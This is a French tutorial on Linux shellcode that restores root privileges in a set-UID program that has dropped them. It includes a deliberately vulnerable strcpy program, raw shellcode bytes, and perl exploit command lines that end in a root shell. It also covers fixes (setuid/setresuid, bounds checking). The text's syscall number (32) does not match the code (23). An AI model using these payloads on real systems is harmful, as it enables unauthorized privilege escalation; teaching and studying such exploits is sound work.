Ghosts In The Stack

Shellcodes élévateurs de privilèges

Rédacteur : Trance

Date de création : 11/07/2006

Section : Sécurité > Shellcodes

Imprimer cet article : en noir et blanc ou en couleurs

Voir les commentaires (3)

Quelquefois, le développeur choisit de baisser les droits de certaines zones d'un processus, effectuant des opérations ne nécessitant pas la totalité des privilèges. Si une de ces opérations est vulnérable et permet une exploitation par shellcode, l'attaquant ne disposera alors que de droits restreints.

Cet article montre comment il est possible, lors d'une exploitation par shellcode sous Linux, de récupérer tous les droits et ainsi de décupler la puissance de l'attaque. Nous verrons également les possibilités de sécurisation existantes.

1. Quelques notions théoriques

1.i. Les UID

Tout utilisateur Linux a sans doute déja entendu parler au moins une fois des UID et GID. Nous ne verrons ici que les UID. De plus, un futur article traitera des processus et de leurs droits, donc nous ne nous étendrons pas sur les petits détails.

Un UID est un numéro identifiant un utilisateur. Tout utilisateur possède un unique UID. C'est cet UID qui est utilisé dans les programmes pour identifier l'utilisateur qui le lance et ainsi vérifier ses droits lors de certaines opérations. Un UID classique est supérieur à zéro. L'UID nul ets réservé au root.

La règle d'or d'UNIX est la suivante : "Tout programme se lance avec les droits de celui qui l'a lancé". Cependant, il existe (comme pour beaucoup de règles :p) une exception : les programmes Set-UID. Ce type de programme se lancera automatiquement avec les droits de son propriétaire, même si c'est le root.

Il existe en réalité trois UIDs stoqués dans un programme en cours d'exécution (processus) :

On comprend alors qu'en jouant avec ces UIDs, on peut très bien abaisser les droits d'un processus, mais aussi les lui restituer.

1.ii. Fonctions gérant les UID

Il existe toute une panoplie de fonctions permettant d'obtenir et de modifier les UIDs d'un processus. Nous n'allons en voir que très peu ici, car comme je l'ai dit, un article sur les processus et leurs droits traitera ce sujet de manière beaucoup plus détaillée.

Si un programme Set-UID veut s'abaisser les droits, il peut modifier son UID effectif et le rendre égal à l'UID réel. Comme cela, le programme aura les droits du lanceur du programme. Cela se fait à l'aide de la fonction seteuid(). Elle prend en paramètre l'UID effectif souhaité. Inutile de dire qu'un processus ne disposant pas de droits suffisant ne peut pas fixer n'importe quel UID à zéro, c'est à dire devenir root :). un processus voulant s'abaisser les droits efefctuera cet appel : seteuid(getuid()) car getuid() retourne l'UID réel.

Si le programme ayant abaissé ses droits comme nous venons de le voir veut se les restituer, il procède presque de la même façon. La méthode consiste à sauvegarder dans une variable l'UID effctif de départ du programme, puis à utilser cette variable en la passant en paramètre de seteuid().

Il existe une seconde méthode permettant à un programme d'abandonner puis de retrouver ses privilèges, mais uniquement si les UID réels ou effectifs ne sont pas nuls. Cette fonction, setuid(), prend en paramètre un UID et le place dans l'UID effectif. Si l'utilisateur est root ou si le programme est Set-UID root, elle place l'UID dans les trois UID (réel, effectif, et sauvé) et condamne ainsi le programme à ne jamais retrouver ses droits initiaux.

Toutes ces fonctions sont des appels systèmes donc facilement manipulables en assembleur...

2. Exploitation inefficace

Ce genre de shellcode est plus facile à comprendre dans un contexte précis, donc imaginons que nous disposons d'un programme à exploiter. Nous sommes dans la situation suivante :

trancebox:/home/trance/uids# cat vuln.c
#include <unistd.h>
#include <sys/types.h>

void func(char ptr[])
{
  char buffer[64];
  strcpy(buffer,ptr);
}

int main(int ac, char *av[])
{
  if(ac != 1)
  {
    seteuid(getuid());
    func(av[1]);
  }
  else printf("Utilisation : ./vuln <string>\n");
}

trancebox:/home/trance/uids# gcc -o vuln vuln.c

trancebox:/home/trance/uids# chmod u+s vuln
trancebox:/home/trance/uids# ls -l
...
-rwsr-xr-x  1 root   root   11771 2006-07-11 16:30 vuln
-rw-r--r--  1 root   root     261 2006-07-11 16:30 vuln.c

Le programme à exploiter est vulnérable à la classique faille de strcpy, il est Set-UID root mais perd ses droits juste avant la copie. Le but, comme vous vous en doutez, va être d'exécuter un shell... mais root.

Tout d'abord, tentons l'exploitation classique, pour nous convaincre qu'elle ne marche pas. Utilisons le shellcode suivant, que nous avons vu dans le 1er article sur les shellcodes :

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Exploitons :

trance@trancebox:~/uids$ ./vuln `perl -e 'print "a"x74 . "\xeb\x04" .
"\x40\xfa\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62
\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`

Erreur de segmentation
trance@trancebox:~/uids$ ./vuln `perl -e 'print "a"x74 . "\xeb\x04" .
"\x50\xfa\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62
\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`

Erreur de segmentation
trance@trancebox:~/uids$ ./vuln `perl -e 'print "a"x74 . "\xeb\x04" .
"\x70\xfa\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62
\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`

Erreur de segmentation
trance@trancebox:~/uids$ ./vuln `perl -e 'print "a"x74 . "\xeb\x04" .
"\x80\xfa\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62
\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


sh-2.05b$ whoami
trance
sh-2.05b$ echo ':-('
:-(
sh-2.05b$ exit

Ici, pas question d'utiliser ulimit -c <x> car le programme appartient au root, et nous n'avons pas les droits suffisants. Pour trouver l'adresse de retour, il faut donc procéder par essais successifs, mais ce n'est en général pas trop long. Bref, l'essentiel est ici de voir que le shell obtenu est bien en utilisateur et non en root...

3. Conception du shellcode et exploitation

Le but du shellcode va être tout d'abord de restituer les droits, puis d'exécuter un shell. La restitution des droits va se faire avec setuid(0) (syscall n°32). Puis le lancement du shell, avec execve. Comme nous disposons déja du shellcode lançant un shell, nous allons juste coder la partie restitution des droits, et concaténer le tout.

Concevons donc la première partie du shellcode, en utilisant les outils d'automatisation vus dans l'article "Automatisation de la Conception de Shellcodes" :

trance@trancebox:~/uids$ cat ./asm.s
//asm.s

.text
.globl sh

sh:
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx

mov $23,%al
int $0x80

.string ""
trance@trancebox:~/uids$ ./doall asm.s

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x17\xcd\x80";
taille : 12
./doall: line 12:  1284 Erreur de segmentation  (core dumped) ./testshellcode

Le programme segfaulte parce qu'il n'y a pas de exit(0) donc il se retrouve un peu n'importe où... Mais ce n'est pas grave, puisque sa réelle utilisation va se faire juste avant notre shellcode de base. Concaténons les deux shellcodes, nous obtenons :

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x17\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2
\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

A l'attaque !

trance@trancebox:~/uids$ ./vuln `perl -e 'print "a"x74 . "\xeb\x04" .
"\x80\xfa\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x17\xcd\x80\x31\xc0\x31\xdb\x31\xc9
\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


sh-2.05b# whoami
root
sh-2.05b# echo 'Yeah :-)'
Yeah :-)

Et voila le travail... Peut-être reste-il une question sans réponse : pourquoi n'avons-nous pas fait un seteuid() à la place de setuid() ? Tout simplement parce qe l'appel système de setuid est plus simple à obtenir...

4. Correction

Il n'existe à ma connaissance qu'un seul type de correction possible pour éviter l'élévation de droits. Il s'agit d'écraser l'UID sauvé pour empêcher tout retour en arrière dans l'obtention des droits. On peut ainsi utiliser setuid() à la place de seteuid().

Cette solution est certes efficace, mais le processus concerné ne pourra alors plus du tout retrouver son privilège de base, que ce soit par shellcode ou par une instruction du programmeur. En effet, une fois les UID sauvé et effectif mis à la valeur de l'UID réel, l'UID sauvé ne pourra absolument plus changer de valeur, puisqu'il ne peut prendre que les valeurs des deux autres UIDs... Ainsi, setuid() ou même setresuid() permet de baisser les droits du processus de manière sécurisée... Mais c'est aussi un inconvénient puisque c'est définitif.

Bien entendu, la seule manière de sécuriser ce type de programme est de supprimer la possibilité de débordement, donc de vérifier la taille des données copiées au biais de sizeof() et d'un test judicieux. Je vous reporte à l'article sur les BOFs pour plus de détails...

Références